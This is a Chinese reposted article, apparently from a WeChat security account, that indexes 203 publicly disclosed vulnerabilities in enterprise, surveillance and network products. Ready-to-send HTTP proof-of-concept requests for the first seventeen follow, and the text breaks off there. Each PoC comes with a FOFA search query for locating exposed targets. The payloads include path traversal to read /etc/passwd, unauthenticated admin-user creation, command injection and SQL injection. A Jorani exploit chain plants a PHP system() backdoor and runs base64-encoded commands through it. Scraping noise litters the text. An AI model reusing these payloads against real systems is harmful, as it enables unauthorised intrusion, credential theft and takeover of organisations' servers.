互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
- Q, s7 P7 ]' X" i道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
! |) G! P8 k: k1 z4 q
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
' |5 q& F& n  K& q
$ q2 p  h$ J5 h+ x漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

+ I$ H1 T3 ^0 A
声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

# g" H$ c) Q9 t0 {" B6 c有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
5 f* W5 u5 N( Z* ^% g. R

" ?* [$ k0 T; U* z6 i- K7 n
目录
* H% [; @+ o2 [, _3 A
/ {8 h' I' @) I+ K) P* o01

( ~* B3 k) D( A. P3 c! u; T1. StarRocks MPP数据库未授权访问
% I! u/ P/ X  b1 W3 d2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4 _% m1 Q4 L5 c7 W* q3 F( _4. EasyCVR视频管理平台存在任意用户添加
5 ?4 P% z0 E6 J+ G5. NUUO NVR 视频存储管理设备远程命令执行
# y( u7 K$ G: V7 _3 W2 S6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
3 n/ }/ k; V$ b8 c( g8. 斐讯 Phicomm 路由器RCE
' ?- I: e7 L, ?" Q& V4 c9. 稻壳CMS keyword 未授权SQL注入
. r" z  Q3 \& \+ o10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
! n3 B& u1 C2 ~; z; Y8 {' k" A11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
) }- e6 \( j, ]4 E! V16. 红帆HFOffice医微云SQL注入
( D: [3 o  l8 G) A" X% N17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
# P5 Z4 L4 a+ n! ^' X, r, L$ i21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 V& h$ m. t1 ]1 M23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
" u. B5 L0 h# `" B25. 用友NC registerServlet JNDI 远程代码执行
& `  p, f# v3 |6 k( w1 `26. 用友NC linkVoucher SQL注入
0 N4 Z% s5 ?. A% E) ]27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
+ N. e# G+ O4 X5 }8 b' l( w+ a; ~30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
) w6 ]7 b' S) Z) T36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
; G: l) X  `- Y0 I! y" V39. 用友U8 Cloud RegisterServlet SQL注入
8 Q. q: ^5 {8 X& H; k! A# K8 z4 \/ g40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
/ j4 {& w) c' F) f1 d1 O43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 G! P9 j- v( _7 i44. 用友GRP-U8 bx_dj_check.jsp SQL注入
! ~! [7 E! o" w# J) E0 x' B$ t45. 用友GRP-U8 ufgovbank XXE
# A5 _, o) c2 n* u, S3 u3 z: O46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
: h1 d  m3 R5 m5 ^* z% F51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
# L* W9 f8 c2 r" w% s55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
+ \. m6 i. f0 n1 b2 v+ [58. 畅捷通T+ KeyInfoList.aspx sql注入
% O6 _. G( c5 B6 e59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
5 K$ l& _9 V6 p# c+ g% g60. 百卓Smart管理平台 importexport.php SQL注入
$ ?6 P( U6 n; V61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
  @9 N. J* m, X: T64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
1 K9 z# x4 v/ K' Z' H66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
9 O0 W; y. y2 S71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
/ f. g3 u( H: y- P  g73. GeoServer wms远程代码执行
- P$ N4 N" t) Z$ j6 J74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! i6 @9 U4 C' m76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
& w, v0 B7 H, k  Z( @3 z3 R# X0 ?82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
' [1 a. f' s$ V% S: I4 R83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
( U& p1 r' w2 ?$ X+ a/ D9 R88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
, B! l8 h* m) v. o9 k, O' {90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ U+ A/ x# A% ]3 C! ^91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
9 H: ?2 Q* Q+ ?; p! @# c92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
; l2 z, h8 U; |* n. q8 V98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
  R3 u, J0 \! I4 M/ `' v2 h3 I# [102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
9 Q" B9 m0 `6 h3 E( N2 s- z103. Ivanti Pulse Connect Secure VPN XXE
$ {  h; M% Q" i3 i" Y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
' R0 z1 b* u$ ^0 ]" q" l3 S5 Y106. SpringBlade dict-biz/list SQL 注入
% f2 T' i, [  B  }107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
# E% a( v- F, l111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
0 d8 B2 t" z- F1 C2 d; j" R113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
2 x! G1 I# C, x8 Y3 u115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
  }3 d0 Z6 z2 k6 J117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
. m  u* V: S$ q% \. F7 H120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
2 S; W( l. ~& ~+ p, _122. 北京百绰智能s200管理平台/importexport.php sql注入
0 w! e  v  r% @" |, c123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
1 L) Q0 X4 V- c( v5 I+ U126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
( M, d4 X) g2 v: G( U, ^) F129. Adobe ColdFusion 任意文件读取
9 y- V) ~, D- ^, q130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
' m4 [3 U0 W6 q/ v/ i% y136. NextChat cors SSRF
1 D  r) f! N. E- V8 S, L137. 福建科立迅通信指挥调度平台down_file.php sql注入
/ @. b# G* e1 u. D( N138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
% p: A+ P: r: q4 A139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
. h; [# N, f5 ]9 C* x141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
/ }, u1 ~5 x' j; n1 i  z146. MajorDoMo thumb.php 未授权远程代码执行
5 D3 }  \; d. R8 S! J  z; ?3 G147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
0 \% a8 v' _% i* @( E148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
+ m; v+ S5 O% N% V7 H( ~% D3 p150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
: E% _# z5 F" l155. 六零导航页 file.php 任意文件上传
  b% _. F6 E3 Z" q- A1 P. J, f8 [) p156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
8 X" F5 P+ J. N6 J1 I158. Mura-CMS-processAsyncObject存在SQL注入
. V* C! K2 _) r2 {159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
  [3 F, `0 p! [7 f$ ^* q167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
; q# o4 h* M9 i# d- o* p170. 宏景EHR DisplayExcelCustomReport 任意文件读取
) `$ M( b  j9 e9 y: P: b171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
! C2 Z" x, J: U: J; ?/ O173. Check Point 安全网关任意文件读取
* p+ s: n- L0 B1 Z, l9 w) S! s7 {9 f174. 金和OA C6 FileDownLoad.aspx 任意文件读取
# P3 b1 C6 x# |/ @* D8 q175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
- p8 x8 r' u3 ^9 N9 L2 |: q) F177. H3C路由器敏感信息泄露
1 D1 M" k! A5 I3 z, B178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 F8 A- _3 I, V3 J1 S  `183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
  _# V7 N9 u7 |% B& q184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! q2 N. Q- m6 H, ^& D4 N185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
" C# Z( f/ t0 S2 \+ I+ m188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
2 F' f0 k8 ^3 ~1 h" @# [! f191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
5 R2 p. p0 E+ n: H0 `: m0 l/ ?192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
' r1 R( O9 ^3 u3 [4 z3 K+ `1 D$ F  @194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
3 Z2 x3 q+ k0 ~195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
, J2 _; l8 p% s8 W1 |: P( o197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
& q" X" S; f8 ?1 C. {198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
0 g0 L! d( T" V! T! @' J201. 方正全媒体新闻采编系统 binary SQL注入
; }6 g! a# U: z- C202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表
0 G+ X+ J6 f( Z, f) g
/ U+ N+ m4 Q# M" h02

3 j2 ^+ m1 F; o* R9 T1 j# R1. StarRocks MPP数据库未授权访问
# T- t+ @4 P3 X! d4 S1 vFOFA ：title="StarRocks"
, v$ Y8 {8 h% MGET /mem_tracker HTTP/1.1
8 R) p6 K0 y, u6 F+ g( QHost: URL
$ ~6 O" [/ ^  U8 W7 x4 S
, o: k( r( [4 z( ], _
0 }4 s- v: U" }: `4 K: t! k: R2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
5 S: G9 ^6 u' Y9 P. U: HHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 F+ g0 b3 m2 k2 c* kAccept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
: h7 m1 R) f! }5 LFOFA ：title="EasyCVR"
: n" I* d8 p5 [GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

# U$ L7 d; }/ g6 r$ t# q2 M
: ^, L# }. M+ z' F4. EasyCVR视频管理平台存在任意用户添加
. C9 @$ z  v3 N& C0 b9 sFOFA ：title="EasyCVR"
' F- k- ?$ m3 ~9 N9 e
3 y' H4 t' q; K# Y- Q& i4 d9 J& ?password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

4 A3 l; E( @. u- d, Bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
. s( |0 b( H  _

% n! G: L2 _, j- u5. NUUO NVR 视频存储管理设备远程命令执行
9 T' z% k% p" I% vFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
7 ]' K  D! J7 x: nFOFA：title="SANGFOR | NGAF"
% B2 ]1 b% K3 y) A. {/ u% R6 Y8 `GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
( l. `: V* W  _. H$ i# v( g

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
& ~, J0 c/ P# K: g" ^6 rFOFA：icon_hash="-1344736688"
: b5 A3 p' d2 U默认账号admin登录后台后，执行操作
( y/ U6 R9 x1 w! wPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
9 m4 J( Y. X! l7 ?  G+ S- {1 fHost: x.x.x.x
9 E% `3 {1 N1 j; dCookie: sysauth=第一步登录获取的cookie
. E7 A4 S: D" a9 O9 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
# N6 a: D' N8 H0 E0 [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 P  `, T) i6 k4 {# b
------WebKitFormBoundaryxbgjoytz
4 T5 ~* {9 F8 |Content-Disposition: form-data; name="wifiRebootEnablestatus"
9 W* S% r; ?% S" ~) _* T- x' X
. e* L  Q4 V8 F, }  D1 U%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

) A3 d0 C" w, g4 T%s:
$ K1 E, X: o- g; W9 O, u------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
- y! L( @  t3 s
4 r+ a: \' E, }  M9 k/ z
5 z0 }: J) j, \- e------WebKitFormBoundaryxbgjoytz--

8 N6 z' m) I1 R" a5 Q* [6 q
2 H3 M5 @( J1 V, c& m9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

$ t  U' _# x, N4 }5 l; e
payload为下列语句的二次Url编码

, l: X0 P) _3 R, Z0 _' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
. ]2 w, D* w; B" J1 Z2 Q# |
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

9 f2 j, W% Y* @+ S- e- k- W' X7 b文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
$ u5 R2 A$ a; |8 F/ FHost: x.x.x.x:xx
; o. I# X5 r! Q  IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
% H% w; c4 V# O3 x. TContent-Length: 197
4 E8 H% S5 }0 p' Y. V+ `# cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
$ ^& u! e/ `) ~Accept-Language: zh-CN,zh;q=0.9
. H% {* ^4 \/ s2 KConnection: close
: _) \1 `8 C& M0 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

0 b1 Q# h2 c# K7 S9 R------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
$ k: S/ q: E% l
8 x# V7 }9 ?! Z( Ojmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
  _0 x$ d, b0 O% A( i* C; d$ C  f0 S
# J5 b8 L! N& q4 t" j7 i! f
. ]! z9 t' H4 i+ V: l+ Y# e11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
1 z1 F* G+ v) nFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
' j( e/ Q# ~* ^GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
1 s  p  i3 `6 _& D+ }. K( XPragma: no-cache
" M3 ~4 }" r. g7 r2 X3 M3 yCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( l0 L& K9 ]1 s3 s* a# V' l/ |' [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* @5 K' u, T2 I/ d! XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

, H% ~+ s( _  A2 ?; K* v/ o
! R/ o$ f! q7 r- u' c* X6 U12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
; E! t" l( ?1 |. B0 |第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
) ^! e7 X6 M) U: B6 [2 Y# OUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

0 P& x7 Y' S+ l1 J/ w/ M
: K$ [+ u* S4 [, b. s7 ]0 s响应中csrf_cookie_jorani用于后续请求
* B; Z0 B8 K, y" }HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
# H+ E  `/ f- U0 e- b1 PContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
, X" g  V. q3 V* p  F% J3 @% b6 i8 ZLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
) ?- \9 Z) _! o+ HPragma: no-cache
Server: Apache/2.4.54 (Debian)
5 S, ~: J' |- \Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
' a( {1 T! i, a: yVary: Accept-Encoding
5 ^$ ^% Q/ a8 h/ Y3 F5 g
  f7 G# Y% ~, z0 x& N! M8 i0 m
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
0 t+ m% B4 m8 k  p* q8 e9 YHost: 192.168.190.30
# R% K1 S- \2 T3 T- z# JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
) L/ [( I" T% B1 [* O2 lContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
4 t! I# u0 d) B* g' E" zGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 y- P5 k* K! N0 Z' CConnection: close
( L" ?: Y$ s. Y0 oCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
. @- L7 y6 r3 g8 B$ I* K5 FK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


0 {+ ^- E# N& d$ W: p13. 红帆iOffice ioFileDown任意文件读取
0 v7 P7 y# ^! u$ W8 ZFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
  b- d5 d- W, Y/ gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
8 [. J. f( Q2 `# r

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
  z  l- E9 C4 k* I泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
5 B  E+ x5 `$ F+ ^Accept-Encoding: gzip
; b/ I. \5 q' n* h

" v2 a! Q: r& B/ ~5 [4 j15. 华夏ERP getAllList信息泄露
CVE-2024-0490
  v3 C3 c/ C) a/ l6 UFOFA：body="jshERP-boot"
4 ]& o: H& P8 p( Y. ^9 e! x7 i3 y泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
- k! ]- r! _0 m* n( wConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) ]" p: B( ?, W% h4 x7 J  G7 AAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
1 H9 o( o# ?' b9 q  H$ A

6 L0 {) `6 N+ t1 g# q6 C16.  红帆HFOffice医微云SQL注入
1 E9 P# \& Q% L& ~' [/ N) uFOFA：title="HFOffice"
: v+ K; F* h) f9 ~6 H0 R2 a2 p* L0 jpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
7 y& t0 M' z; H0 x/ s2 v$ T& WHost: x.x.x.x
$ h* J/ n9 e9 [User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
5 b5 c, Q0 q9 {3 ?0 G. [( dAccept: */*
Accept-Language: en
Accept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
1 C0 P. G1 P, a! [1 R6 W8 P' nFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ o2 p( E8 e2 b, g: C, e* W2 _" |Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
